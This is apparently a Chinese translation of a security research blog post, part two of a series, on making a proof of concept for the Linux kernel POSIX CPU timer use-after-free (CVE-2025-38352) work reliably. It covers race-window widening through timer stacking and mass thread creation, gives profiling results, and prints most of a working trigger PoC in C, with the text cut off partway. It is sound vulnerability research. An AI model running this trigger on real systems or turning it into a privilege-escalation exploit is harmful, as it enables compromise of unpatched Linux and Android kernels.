在第一部分中,笔者逐步讲解了如何构建触发该漏洞的概念验证(PoC)。但很不幸,它存在几个问题:
- 如果没有引入那个通过人工增加500毫秒延迟来扩展竞争窗口的内核补丁,它几乎无法成功。
- 计时器设置本身不够“干净”。肯定有更好的方法来消耗受控数量的CPU时间,使得计时器能在未来的可控时刻触发。
在这篇文章中,笔者将详细说明如何解决上述两个问题,并最终得到一个无需任何内核补丁即可工作的PoC。
PoC + 演示
一如既往,如果只想看PoC,链接如下。
https://github.com/farazsth98/poc-CVE-2025-38352/blob/main/poc.c
还有一个简短的演示(未开启KASAN)! 😄

作为参考,QEMU命令也展示如下:
qemu-system-x86_64 \
-enable-kvm \
-cpu host \
-smp 4 \
-kernel ./bzImage \
-initrd ./initramfs.tgz \
-nographic \
-append "console=ttyS0 kgdbwait kgdboc=ttyS1,115200 oops=panic panic=0 nokaslr" \
-m 3G \
-netdev user,id=mynet0 \
-device virtio-net-pci,netdev=mynet0 \
-s
要点回顾
请先阅读本系列的第一部分再继续!
在之前的PoC中,笔者在REAPEE线程内消耗CPU时间以触发漏洞的方式如下:
void reapee(void) {
// [ ... ]
struct itimerspec ts = {
.it_interval = {0, 0},
.it_value = {
.tv_sec = 0,
.tv_nsec = wait_time, // 自定义的等待时间
},
};
// 等待父进程附加
pthread_barrier_wait(&barrier);
SYSCHK(timer_settime(timer, 0, &ts, NULL));
// 使用一些CPU时间以确保计时器能正确触发
for (int i = 0; i < 1000000; i++);
// 希望我们消耗了足够的CPU时间,能在`exit_notify()`将进程僵尸化
// 并唤醒父进程之后触发计时器
return;
}
这里的wait_time通过argv提供,而for循环只是随机设定某个能工作的值。基本上,在设置计时器之后,对消耗多少CPU时间的控制为零。
我们能改进吗?当然可以!
CPU调度器内部机制(非深度解析)
为了理解如何控制线程消耗的CPU时间,笔者不得不半深入地研究CPU调度器、POSIX计时器以及不同类型CPU计时器(CPUCLOCK_PROF、CPUCLOCK_VIRT、CPUCLOCK_SCHED)的工作原理。
关键要点总结
笔者不会阐述得太深(这值得专门写一篇博文),但总结一些关键要点如下(总结可能并非100%准确):
- CPU调度器每
1 / CONFIG_HZ秒触发一次中断。此时会运行run_posix_cpu_timers()。- 通常,
CONFIG_HZ=1000,所以CPU调度器的“节拍”(tick)每1毫秒发生一次。- 至少Android和Ubuntu内核是这种情况。
- 通常,
- 有三种类型的CPU时钟计时器:
CPUCLOCK_PROF– 计算用户态和内核态消耗的总CPU时间。CPUCLOCK_VIRT– 仅计算用户态消耗的总CPU时间。CPUCLOCK_SCHED– 计算实际在CPU上运行的总时间。对于可以被调度器调度进出CPU的线程很重要。
- 计时器到期检查总是在一个节拍边界上进行,因此到期检查最多每
1 / CONFIG_HZ秒发生一次。 CPUCLOCK_PROF和CPUCLOCK_VIRT时钟只有在其消耗完1 / CONFIG_HZ的CPU时间后才会被更新。CPUCLOCK_SCHED是特殊情况。它每纳秒更新一次。- 这意味着
CPUCLOCK_SCHED通常用于需要比1毫秒更精细粒度的情况进行性能分析。
- 为了触发漏洞,理论上我们可以使用三种时钟类型中的任何一种。
- 笔者的PoC为计时器使用了
CLOCK_THREAD_CPUTIME_ID,这是一种CPUCLOCK_SCHED计时器。 - 使用这种特定计时器类型有很好的理由,本文稍后会解释!
- 笔者的PoC为计时器使用了
这应该是理解后续部分所需的最低限度的信息。
分析CPU时间消耗
为了消耗受控数量的CPU时间,我们需要实际知道某些具体工作负载消耗了多少时间。
对于任何性能分析,我们需要能够在两个或多个独立的执行点获取(被分析线程)消耗的总CPU时间。这可以通过使用clock_gettime系统调用来实现。
对于我们要分析的“具体工作负载”,笔者选择了getpid系统调用,因为它易于使用且消耗的CPU时间极少。
现在,毫不奇怪的是,clock_gettime系统调用本身也消耗CPU时间,所以我们必须在分析代码中考虑这个开销。
为此,以下是一些概念验证代码,可用于准确计算getpid系统调用消耗多少CPU时间(点击此处查看完整PoC):
#define NUM_SAMPLES 100000
static long int clock_gettime_avg = 0;
// 如果`NUM_SAMPLES`太大可能会溢出,但对于简单的系统调用,
// 这样用没问题
long int getpid_avg_cputime_used() {
struct timespec *ts = malloc(NUM_SAMPLES * sizeof(struct timespec));
if (clock_gettime_avg == 0) {
for (int i = 0; i < NUM_SAMPLES; i++) {
syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
}
long int total_nsec = 0;
for (int i = 0; i < NUM_SAMPLES-1; i++) {
long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i]));
total_nsec += time_taken;
}
clock_gettime_avg = total_nsec / (NUM_SAMPLES-1);
}
for (int i = 0; i < NUM_SAMPLES; i++) {
syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
// 在这里执行你要测量的操作
syscall(__NR_getpid);
}
long int total_nsec = 0;
for (int i = 0; i < NUM_SAMPLES-1; i++) {
long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i])) - clock_gettime_avg;
total_nsec += time_taken;
}
free(ts);
return total_nsec / (NUM_SAMPLES-1);
}
以下是笔者QEMU虚拟机(4个核心,3GB RAM)的一些输出:
/ # /poc
clock_gettime avg: 489 ns
getpid avg: 139 ns
/ # /poc
clock_gettime avg: 495 ns
getpid avg: 143 ns
/ # /poc
clock_gettime avg: 491 ns
getpid avg: 133 ns
/ # /poc
clock_gettime avg: 495 ns
getpid avg: 130 ns
显然,PoC使用的是平均值,所以时间并非100%准确,但任何系统调用的CPU时间消耗在多次运行中都不会保持一致,所以这个平均值已经足够好了(笔者是这么认为的……如果你有更好的计算方法,请告诉我!)
第一项改进 – 受控的CPU时间消耗
我们可以对PoC进行的第一项改进是,通过以下方式让REAPEE线程以更可控的方式消耗CPU时间:
- 使用分析代码获取
getpid系统调用消耗的平均CPU时间。 - 设置计时器在消耗
1毫秒(1,000,000纳秒)CPU时间后触发。 - 循环运行
getpid系统调用足够多次,以消耗接近1毫秒的CPU时间(但关键是,不能全部消耗!)。
此时,任何剩余的CPU时间将被内核在do_exit() -> exit_notify()中消耗,如果getpid系统调用循环消耗的CPU时间刚好够用,计时器就应该在exit_notify()将REAPEE线程僵尸化并唤醒回收父进程之后触发,并调用handle_posix_cpu_timers()。
可以通过分析
do_exit() -> exit_notify()消耗多少CPU时间(通过打内核补丁)来提高上述第3步的准确性,但笔者目前还没有进行这一步。
以下是在PoC中展示的改进:
// 获取`getpid()`系统调用的平均CPU时间消耗,
// 便于稍后用于触发
getpid_avg = getpid_cpu_usage();
// [ ... ]
// 在启动计时器后,现在消耗刚好足够的CPU时间,
// 但不要触发任何计时器
for (int i = 0; i < ((ONE_MS_NS / getpid_avg) - syscall_loop_times); i++) {
syscall(__NR_getpid);
}
// 这个`return`将在内核中触发`do_exit()`,希望这能
// 在`exit_notify()`唤醒利用父进程中的`waitpid()`之后触发计时器
return;
在上面的PoC中,syscall_loop_times是一个变量,初始值为20,每次尝试时递增,在笔者的PoC中上限为SYSCALL_LOOP_TIMES_MAX=150。由于消耗的CPU时间量并不总是准确的,笔者的最终PoC尝试每次重试都增加这个值,以确保竞争一定能发生。
这一改动极大地提高了handle_posix_cpu_timers()在exit_notify()唤醒回收父进程之后运行的可能性。
此外,它还使PoC与系统无关,因为不同的系统对于相同的工作负载会消耗不同数量的CPU时间。
扩展竞争窗口 – 第一部分
现在来解决第二个(可以说更烦人的)问题:如何扩展竞争窗口?
使用更多计时器
我们能进行的第一个改进应该很明显。请记住,handle_posix_cpu_timers()会将所有触发的计时器收集到一个局部的firing列表中,然后遍历它们(代码简化如下):
static void handle_posix_cpu_timers(struct task_struct *tsk)
{
// Faith: 局部`firing`列表
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags))
return;
do {
// [ ... ]
// Faith: 收集所有线程和进程计时器
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
// [ ... ]
unlock_task_sighand(tsk, &flags);
// Faith: 遍历`firing`列表并触发计时器
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
// [ ... ]
}
}
笔者的旧PoC只使用了一个计时器,这意味着firing列表只被遍历一次。在我们释放计时器之前用于竞赛的时间不多,对吧?
我们可以通过做两件事来改进:
- 将
firing列表填充到其最大容量。 - 让
firing列表中的最后一个计时器成为我们的目标UAF计时器。
现在,handle_posix_cpu_timers()先调用check_thread_timers(),然后才是check_process_timers()。由于计时器是插入到firing列表的尾部,我们无法利用进程计时器,因为它们都将被插入到UAF计时器之后。
那我们只剩下线程计时器。我们能向firing列表中插入多少个呢?
static void check_thread_timers(/* ... */)
{
struct posix_cputimers *pct = &tsk->posix_cputimers;
u64 samples[CPUCLOCK_MAX];
// [ ... ]
task_sample_cputime(tsk, samples);
collect_posix_cputimers(pct, samples, firing);
// [ ... ]
}
static void collect_posix_cputimers(/* ... */)
{
// [ ... ]
for (i = 0; i < CPUCLOCK_MAX; i++, base++) {
base->nextevt = collect_timerqueue(&base->tqhead, firing,
samples[i]);
}
}
#define MAX_COLLECTED 20
static u64 collect_timerqueue(/* ... */)
{
// [ ... ]
while ((next = timerqueue_getnext(head))) {
// [ ... ]
/* 限制一次到期的计时器数量 */
if (++i == MAX_COLLECTED || now < expires)
return expires;
// [ ... 将计时器添加到`firing`列表尾部 ... ]
}
return U64_MAX;
}
在上面的代码中,CPUCLOCK_MAX表示CPU调度器内部机制一节中提到的三种时钟类型,因此设置为3。
另外请注意,上面collect_timerqueue()中的MAX_COLLECTED检查实际上是存在“差一错误”(off-by-one)的。所以,不是允许每个时钟类型最多收集20个计时器,而是只收集最多19个计时器。
因此,综合来看,我们最多可以在触发列表中收集19 * 3 = 57个计时器。最棒的是,我们很幸运:CPUCLOCK_SCHED(这是我们创建UAF计时器使用的时钟类型)是最后一个时钟类型!
#define CPUCLOCK_PROF 0
#define CPUCLOCK_VIRT 1
#define CPUCLOCK_SCHED 2
#define CPUCLOCK_MAX 3
在笔者的PoC中,只使用了19个CPUCLOCK_SCHED类型的计时器,因为最终足以扩展竞争窗口来触发漏洞。
然而,由于利用很可能需要使用跨缓存(cross-cache)技术将被释放的struct k_itimer重新分配为其他东西,笔者后来很可能最终会在这里使用全部57个计时器。这也是笔者在PoC中使用CPUCLOCK_SCHED类型计时器的一个原因,因为它给了我们最大的潜在竞争窗口。
同时触发所有计时器
要同时触发所有计时器,我们可以利用一个事实:CLOCK_THREAD_CPUTIME_ID类型的计时器只有在创建该计时器的线程消耗CPU时间时才会前进。
因此,要同时触发所有19个计时器,我们只需要做以下事情:
- 在
REAPEE线程上创建所有19个CPU计时器(18个“拖延”计时器 + 我们的UAF计时器),然后使其进入睡眠状态。- 确保这不是忙等待睡眠,这样它就不会消耗CPU时间。
- 笔者使用
pthread_barrier_t来实现这一点。
- 在另一个线程上,调用
timer_settime()来启动所有计时器,设置在消耗1,000,000纳秒(1毫秒)的CPU时间后触发。- 由于这个线程没有创建计时器,计时器根本不会前进(因为只有处于睡眠状态的
REAPEE线程才能推进这些计时器)。
- 由于这个线程没有创建计时器,计时器根本不会前进(因为只有处于睡眠状态的
- 我们必须确保将18个“拖延”计时器设置为在消耗
1,000,000 - 1纳秒的CPU时间后触发。- UAF计时器仍然必须在消耗
1,000,000纳秒的CPU时间后触发。 - 这一步确保UAF计时器在
firing列表的最后一个,因为触发列表是按到期时间排序的。
- UAF计时器仍然必须在消耗
完成上述操作后,我们可以唤醒REAPEE线程,并使用前面部分的改进来消耗刚好少于1毫秒的CPU时间,以在正确的时间触发handle_posix_cpu_timers()。
效果如何?
为了弄清楚handle_posix_cpu_timers()中遍历firing列表到底消耗了多少CPU时间,笔者使用了以下内核补丁。笔者确保不会意外地扩展竞争窗口(笔者的最终PoC在没有这个补丁的情况下也能工作)。
补丁的重要部分如下所示。它会分析遍历firing列表并触发每个计时器所花费的时间:
@@ -1356,6 +1362,10 @@ static void handle_posix_cpu_timers(struct task_struct *tsk)
*/
unlock_task_sighand(tsk, &flags);
+ // Faith: 分析处理这些计时器所花费的时间
+ if (profile)
+ profile_t0 = ktime_get_mono_fast_ns();
/*
* Now that all the timers on our list have the firing flag,
* no one will touch their list entries but us. We'll take
@@ -1387,6 +1397,13 @@ static void handle_posix_cpu_timers(struct task_struct *tsk)
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
+ // Faith: 分析处理这些计时器所花费的时间
+ if (profile) {
+ profile_t1 = ktime_get_mono_fast_ns();
+ printk("handle_posix_cpu_timers: delta_ns=%llu\n",
+ (unsigned long long)(profile_t1 - profile_t0));
+ }
用于测试此性能分析代码的PoC可以在这里看到。请注意,这个分析PoC还包含了一些进一步扩展竞争窗口的改动(笔者将在下一节讨论它们)。
PoC的重要部分如下(请点击链接):
运行此PoC(不包括进一步增加竞争窗口的额外改动)后的dmesg日志如下:
~ $ /poc
[ 10.543155] handle_posix_cpu_timers: delta_ns=3140
~ $ /poc
[ 10.964147] handle_posix_cpu_timers: delta_ns=4990
~ $ /poc
[ 11.404146] handle_posix_cpu_timers: delta_ns=6000
平均而言,在firing列表中遍历19个计时器所花费的时间大约在4000-7000纳秒之间。
根据笔者的测试,这仍然不足以触发漏洞:
- 要在回收僵尸化的
REAPEE线程后,用我们的timer_delete()命中这个竞争窗口仍然极其困难。 - 即使我们赢得了竞争,也几乎没有时间让RCU释放(RCU free)发生。
因此,我们需要想办法进一步扩展竞争窗口……纳秒级别是不够的,我们需要毫秒级别!
扩展竞争窗口 – 第二部分
在较高层面上,我们还有两个选项可以扩展竞争窗口:
- 列表遍历过程会尝试获取
timer->it_lock,以及稍后的task->sighand->siglock。如果另一个CPU能在正确的时刻长时间持有这些锁,我们就可以扩展竞争窗口。 - 触发计时器涉及发送信号、重新启动计时器以及许多其他操作。也许我们可以研究该流程,以找出扩展竞争窗口的方法?
方案 1 – 锁冲突
笔者审计了所有获取timer->it_lock和task->sighand->lock的代码路径,以确定是否有任何好方法可以长时间持有这些锁。然而,这种方法存在一些问题。
两个锁的第一个问题都与较短的竞争窗口有关。我们不仅需要在竞争窗口内获取任何一个锁,而且还需要在firing列表即将获取该特定计时器/任务的锁时获取它。这在4000-7000纳秒的竞争窗口内是极其困难的。
第二个问题是,笔者找不到任何长时间/受控时间持有这些锁的代码路径。例如,尽管timer_gettime()会调用copy_to_user(),但它会在调用之前释放timer->it_lock。总的来说,所有代码路径获取和释放锁都非常快。
然而,笔者不久前从Jann Horn的一篇博文中学到了一些东西——像Android内核这样的可抢占内核(preemptible kernels)可以在任何时间点抢占代码,除非代码运行在禁用抢占的上下文中。
了解这一点后,我能以某种方式使timer->it_lock / task->sighand->lock被另一个CPU上的任务获取,然后让该任务被抢占,从而使锁被长时间持有吗?
不幸的是,答案是否定的。这两个锁都是通过spin_lock()/spin_lock_irq()/spin_lock_irqsave()获取的,这些函数在持有锁期间会禁用抢占。
因此,锁冲突方案被明确排除。
方案 2 – 延长计时器触发过程
笔者花了一些时间审计cpu_timer_fire(),看看计时器触发逻辑是如何实现的。笔者主要寻找可以用户态控制迭代次数的循环。
函数complete_signal()引起了笔者的注意。它可以通过以下调用栈访问:
handle_posix_cpu_timers()
-> cpu_timer_fire()
-> posix_timer_queue_signal()
-> send_sigqueue()
-> complete_signal()
在complete_signal()内部,笔者注意到两个while循环(代码简化如下):
static void complete_signal(int sig, struct task_struct *p, enum pid_type type)
{
// [ ... ]
// Faith: 如果指定了要发送信号的PID,并且该线程/进程接受此信号,就使用它
if (wants_signal(sig, p))
t = p;
// Faith: 否则如果该PID不接受此信号,并且没有其他线程,
// 则提前返回。
else if ((type == PIDTYPE_PID) || thread_group_empty(p))
return;
else {
// Faith: 遍历每个线程,直到找到一个接受此信号的线程
t = signal->curr_target;
while (!wants_signal(sig, t)) {
t = next_thread(t);
if (t == signal->curr_target)
// Faith: 没有找到接受此信号的线程,直接返回
return;
}
signal->curr_target = t;
}
// Faith: 如果检测到致命信号(以及其他一些条件)
if (sig_fatal(p, sig) &&
(signal->core_state || !(signal->flags & SIGNAL_GROUP_EXIT)) &&
!sigismember(&t->real_blocked, sig) &&
(sig == SIGKILL || !p->ptrace)) {
// [ ... ]
// Faith: 此处的代码会遍历此线程组中的每个线程,
// 并向每个线程发送一个`SIGKILL`来杀死它。
// Faith: 此处的代码会遍历此线程组中的每个线程,
// 并向每个线程发送一个`SIGKILL`来杀死它。
}
// [ ... ]
}
在上面的代码中,有两个循环。
- 第一个
while循环在我们让计时器发送信号但没有指定TID时进入。它将遍历线程组中的每个线程,直到找到一个没有阻塞此信号的线程(信号可以通过sigprocmask()阻塞)。 - 第二个循环被注释掉了,但它只会在要发送的信号被认为是致命信号时进入(再加上一些其他条件)。这实际上会杀死线程组中的每个线程。
现在,笔者认为第二个循环实际上无法使用,因为它会杀死线程组中的每个线程。但笔者不想之后自打嘴巴 😅 可能存在一种场景,多个进程可以同步起来,使它们的计时器在同一CPU上触发。在这种情况下,这些其他“无用”的进程可以被杀死,而不影响主要的利用进程,这可能使得第二个循环实际上可以利用。然而,笔者没有测试或验证这一点。
在笔者的PoC中,只使用了第一个while循环来扩展竞争窗口。那么,现在来看看如何实现这一点,好吗?
第二项改进 – 大量创建线程
从上面的complete_signal()来看,笔者看到它会遍历当前进程中的每个线程,直到找到一个“需要”该信号的线程。
那么,wants_signal()是如何实现的呢?(代码简化如下):
static inline bool wants_signal(int sig, struct task_struct *p)
{
if (sigismember(&p->blocked, sig))
return false;
// [ ... ]
}
实际上,wants_signal()中还有更多条件,但它首先检查的是线程是否阻塞了计时器试图发送的信号。
->blocked字段包含一个要阻塞的信号的位图。可以使用sigprocmask()和SIG_BLOCK向其中添加信号(代码简化如下):
int sigprocmask(int how, sigset_t *set, sigset_t *oldset)
{
// [ ... ]
switch (how) {
case SIG_BLOCK:
sigorsets(&newset, &tsk->blocked, set);
break;
// [ ... ]
}
__set_current_blocked(&newset);
return 0;
}
因此,了解以上信息后,我们就有办法强制内核为我们18个“拖延”计时器中的每一个遍历这个while循环任意多次。我们只受限于我们可以创建多少线程。
实现这一点的步骤如下:
- 在利用子进程中创建任何线程之前,通过
sigprocmask()阻塞SIGUSR1。- 利用子进程是包含
REAPEE线程的那个进程。
- 利用子进程是包含
- 创建
REAPEE线程。创建计时器时,确保计时器的sigevent.sigev_notify设置为SIGEV_SIGNAL。- 这将尝试将信号发送给当前线程组中任何接受该信号的线程。
- 在利用子进程中尽可能多地创建线程(笔者使用了
NUM_SLEEP_THREADS=10000)。- 这些线程(以及上面的
REAPEE线程)将继承利用子进程中被阻塞的SIGUSR1。
- 这些线程(以及上面的
- 像往常一样继续进行触发漏洞的操作。
一旦计时器触发,handle_posix_cpu_timers()中的firing列表遍历过程将为每个计时器调用一次complete_signal(),而每个计时器将在complete_signal()内部的while循环中遍历NUM_SLEEP_THREADS=10000次后才返回。
笔者已经将此功能实现在了之前提到的同一个分析PoC中。使用这第二项改进运行此程序会产生以下输出:
~ $ /poc
[ 2.386969] handle_posix_cpu_timers: delta_ns=4895749
~ $ /poc
[ 3.101971] handle_posix_cpu_timers: delta_ns=3904588
~ $ /poc
[ 3.679125] handle_posix_cpu_timers: delta_ns=4052398
巨大的改进!现在遍历firing列表所花费的时间在4,000,000-5,000,000纳秒(4-5毫秒)之间!这绝对足够的时间来:
- 在竞争窗口内命中
timer_delete()。 - 让RCU释放完成,从而触发UAF。
这样,PoC就可以在没有任何人工内核补丁的情况下触发竞争条件。
其他杂项改进与想法
笔者还对最终的PoC做了一些其他改进:
- 笔者在PoC中直接实现了重试逻辑,因此你可以直接运行
/poc,而不是while true; do /poc; done。 - 笔者在删除计时器前添加了
1毫秒的睡眠。由于竞争窗口至少会开放3毫秒,这有助于确保timer_delete()确实落在竞争窗口内。
关于第三部分的计划?
撰写本文时,笔者确实计划继续研究此漏洞的利用。跨缓存在这里是非常可行的,这只是一个弄清楚我们何时赢得竞争与何时输掉竞争的问题。
然而,由于现在是假期,笔者需要一段时间才能完成这项工作。但请放心!这是一个非常好的漏洞,可以用来练习和提高笔者的漏洞利用开发技能,所以我有信心完成它! 😄
结论
一如既往,如果有任何问题,请不要犹豫,直接提问!
最终PoC
最终的PoC,以及内核分析器补丁(和笔者用于测试竞争窗口长度的分析PoC)都可以在笔者的Github仓库中找到:
https://github.com/farazsth98/poc-CVE-2025-38352
笔者也在下面放上演示和PoC。本篇内容到此结束!

#define _GNU_SOURCE
#include <time.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <stdlib.h>
#include <err.h>
#include <sys/prctl.h>
#include <sched.h>
#include <linux/membarrier.h>
#include <sys/syscall.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define NUM_SAMPLES 100000
#define NUM_TIMERS 18
#define ONE_MS_NS 1000000uLL
#define NUM_SLEEP_THREADS 10000
#define NUM_SLEEP_THREADS_KASAN 4500 // KASAN 的线程限制较小
#define SYSCALL_LOOP_TIMES_MAX 150
void pin_on_cpu(int i) {
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(i, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
}
void wait_for_rcu() {
syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0);
}
static inline long long ts_to_ns(const struct timespec *ts) {
return (long long)ts->tv_sec * 1000000000LL + (long long)ts->tv_nsec;
}
static long int clock_gettime_avg = 0;
static long int getpid_avg = 0;
// 如果`NUM_SAMPLES`太大可能会溢出,但对于简单的系统调用,
// 这样用没问题
long int getpid_cpu_usage() {
struct timespec *ts = malloc(NUM_SAMPLES * sizeof(struct timespec));
// 如果我们还没有`clock_gettime`的平均CPU时间消耗,现在就获取
if (clock_gettime_avg == 0) {
for (int i = 0; i < NUM_SAMPLES; i++) {
syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
}
long int total_nsec = 0;
for (int i = 0; i < NUM_SAMPLES-1; i++) {
long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i]));
total_nsec += time_taken;
}
clock_gettime_avg = total_nsec / (NUM_SAMPLES-1);
}
for (int i = 0; i < NUM_SAMPLES; i++) {
syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
syscall(__NR_getpid);
}
long int total_nsec = 0;
for (int i = 0; i < NUM_SAMPLES-1; i++) {
long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i])) - clock_gettime_avg;
total_nsec += time_taken;
}
free(ts);
return total_nsec / (NUM_SAMPLES-1);
}
/* 全局变量用于利用设置 开始 */
pthread_barrier_t barrier;
// 用于拖延`handle_posix_cpu_timers()`以扩展竞争窗口的计时器
timer_t stall_timers[NUM_TIMERS];
timer_t uaf_timer;
// 将触发计时器处理的线程,同时也是将被利用父进程回收的线程
pthread_t reapee_thread;
int e2w[2]; // exploit 进程到 wrapper 进程的通信管道文件描述符
int c2p[2]; // 子进程到父进程的通信管道文件描述符
int p2c[2]; // 父进程到子进程的通信管道文件描述符
int stall_fds[2]; // 用于睡眠函数的阻塞管道文件描述符
// 循环执行`getpid()`系统调用以浪费CPU时间的减少次数
int syscall_loop_times = 20;
int retry_count = 0;
/* 全局变量用于利用设置 结束 */
void reapee_func(void) {
// 固定在与睡眠线程相同的CPU上
pin_on_cpu(2);
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;
sev.sigev_signo = SIGUSR1;
char m;
prctl(PR_SET_NAME, "REAPEE");
// 将此线程的TID发送给父进程
pid_t tid = (pid_t)syscall(SYS_gettid);
SYSCHK(write(c2p[1], &tid, sizeof(pid_t)));
// 等待父进程附加并继续
pthread_barrier_wait(&barrier); // barrier 1
// 创建最大数量的计时器减去一个
for (int i = 0; i < NUM_TIMERS; i++) {
SYSCHK(timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &stall_timers[i]));
}
// 创建UAF计时器作为最后一个计时器
SYSCHK(timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &uaf_timer));
// 等待主线程启动计时器。这是为了确保
// 此线程不会使用CPU时间来启动计时器。
pthread_barrier_wait(&barrier); // barrier 2
pthread_barrier_wait(&barrier); // barrier 3
// 现在就浪费刚好足够的CPU时间,但不要触发任何计时器
for (int i = 0; i < ((ONE_MS_NS / getpid_avg) - syscall_loop_times); i++) {
syscall(__NR_getpid);
}
// 这个`return`将在内核中触发`do_exit()`,希望这能
// 在`exit_notify()`唤醒利用父进程中的`waitpid()`之后触发计时器
return;
}
void sleep_func(void) {
// 与 REAPEE 线程相同的CPU
pin_on_cpu(2);
char m;
prctl(PR_SET_NAME, "SLEEPER");
// 阻塞并睡眠,不使用CPU
read(stall_fds[0], &m, 1);
}
int main(int argc, char *argv[]) {
// wrapper 进程的循环
while (1) {
// wrapper 进程设置
printf("Wrapper: try %d\n", ++retry_count);
SYSCHK(pipe(e2w));
pid_t exploit_pid = SYSCHK(fork());
if (exploit_pid) {
// wrapper 进程(在此固定CPU无关紧要)
char m;
close(e2w[1]);
// 阻塞读,直到重试
int read_count = read(e2w[0], &m, 1);
// 如果 read_count > 0,重试
if (read_count == 0) break;
// 减少下一次重试的循环次数,但
// 上限为 SYSCALL_LOOP_TIMES_MAX
syscall_loop_times++;
syscall_loop_times %= SYSCALL_LOOP_TIMES_MAX+1;
syscall_loop_times = syscall_loop_times == 0 ? 20 : syscall_loop_times;
// 关闭管道以便可以重新创建
close(e2w[0]);
// 等待 exploit 进程退出
waitpid(exploit_pid, NULL, __WALL);
} else {
// exploit 进程
char m;
close(e2w[0]);
// 父进程和子进程设置
// 使用管道在父进程和子进程之间通信
SYSCHK(pipe(c2p));
SYSCHK(pipe(p2c));
// 获取`getpid()`系统调用的平均CPU时间消耗,
// 便于稍后用于触发
getpid_avg = getpid_cpu_usage();
pid_t pid = SYSCHK(fork());
if (pid) {
// exploit 父进程
pin_on_cpu(1);
char m;
close(c2p[1]);
close(p2c[0]);
prctl(PR_SET_NAME, "EXPLOIT_PARENT");
// 接受子进程中 REAPEE 线程的 TID
pid_t tid;
SYSCHK(read(c2p[0], &tid, sizeof(pid_t)));
// 附加到 REAPEE 线程并继续执行它
SYSCHK(ptrace(PTRACE_ATTACH, tid, NULL, NULL));
SYSCHK(waitpid(tid, NULL, __WALL));
SYSCHK(ptrace(PTRACE_CONT, tid, NULL, NULL));
// 向子进程发出信号,表示我们已附加并继续执行
SYSCHK(write(p2c[1], &m, 1));
// 现在回收 REAPEE 线程。这将阻塞并等待,
// 直到 REAPEE 线程能够通过`exit_notify()`并
// 唤醒此父进程。
SYSCHK(waitpid(tid, NULL, __WALL));
// 此时,如果UAF计时器在正确的时间触发,REAPEE 线程
// 将在其`tsk->exit_state`设置为`EXIT_ZOMBIE`时被回收。
//
// 让子进程知道 REAPEE 已被回收,以便它可以删除
// 计时器。
SYSCHK(write(p2c[1], &m, 1));
// 让子进程删除并释放计时器,以及
// 所有线程再退出
SYSCHK(read(c2p[0], &m, 1));
// 向 wrapper 进程发出信号以重试并退出
// TODO exploit: 在此处找出如何检测是否触发了UAF
SYSCHK(write(e2w[1], &m, 1));
// 等待子进程退出后再退出
waitpid(pid, NULL, __WALL);
close(e2w[1]);
close(c2p[0]);
close(p2c[1]);
exit(0);
} else {
// exploit 子进程
pin_on_cpu(0);
char m;
close(c2p[0]);
close(p2c[1]);
// 睡眠线程阻塞用的管道文件描述符
SYSCHK(pipe(stall_fds));
// 阻塞 SIGUSR1,后续线程也会继承此阻塞
sigset_t mask;
sigemptyset(&mask);
sigaddset(&mask, SIGUSR1);
sigprocmask(SIG_BLOCK, &mask, NULL);
prctl(PR_SET_NAME, "EXPLOIT_CHILD");
pthread_barrier_init(&barrier, NULL, 2);
// 根据KASAN与否更改此值
int num_sleep_threads = NUM_SLEEP_THREADS;
pthread_t sleep_threads[num_sleep_threads];
SYSCHK(pthread_create(&reapee_thread, NULL, (void*)reapee_func, NULL));
for (int i = 0; i < num_sleep_threads; i++) {
int ret = pthread_create(&sleep_threads[i], NULL, (void*)sleep_func, NULL);
if (ret != 0) {
// 如果达到此条件,请更改上面的`num_sleep_threads`
printf("Failed on thread %d\n", i+1);
num_sleep_threads = i;
break;
}
}
// 等待所有线程创建并进入睡眠
usleep(10 * 1000);
// 父进程附加并继续后向我们写入,使用
// barrier 来让 REAPEE 线程现在继续执行
SYSCHK(read(p2c[0], &m, 1));
pthread_barrier_wait(&barrier); // barrier 1
// 等待 REAPEE 线程创建计时器
pthread_barrier_wait(&barrier); // barrier 2
// 现在启动计时器,确保前18个在
// UAF计时器之前
struct itimerspec ts = {
.it_interval = {0, 0},
.it_value = {
.tv_sec = 0,
.tv_nsec = ONE_MS_NS - 1,
},
};
for (int i = 0; i < NUM_TIMERS; i++) {
timer_settime(stall_timers[i], 0, &ts, NULL);
}
// 将 UAF 计时器设置为最晚触发的那个
ts.it_value.tv_nsec = ONE_MS_NS;
timer_settime(uaf_timer, 0, &ts, NULL);
// 计时器已启动,让 REAPEE 线程继续执行
pthread_barrier_wait(&barrier); // barrier 3
// 当 waitpid() 成功返回时,父进程会向我们写入。
//
// 此时,如果我们赢得了竞争,`handle_posix_cpu_timers()`将在
// 竞争窗口内,并且`timer_delete()`应该看到一个空(NULL)的`sighand`,这
// 将导致它无条件地释放计时器。
SYSCHK(read(p2c[0], &m, 1));
// 竞争窗口通常至少开放3毫秒,因此我们可以睡眠
// 1毫秒以增加我们在此处执行释放操作命中的机会。
//
// 可能需要在不同系统上修改此值,因为它取决于
// 竞争窗口开放多长时间。KASAN也不允许
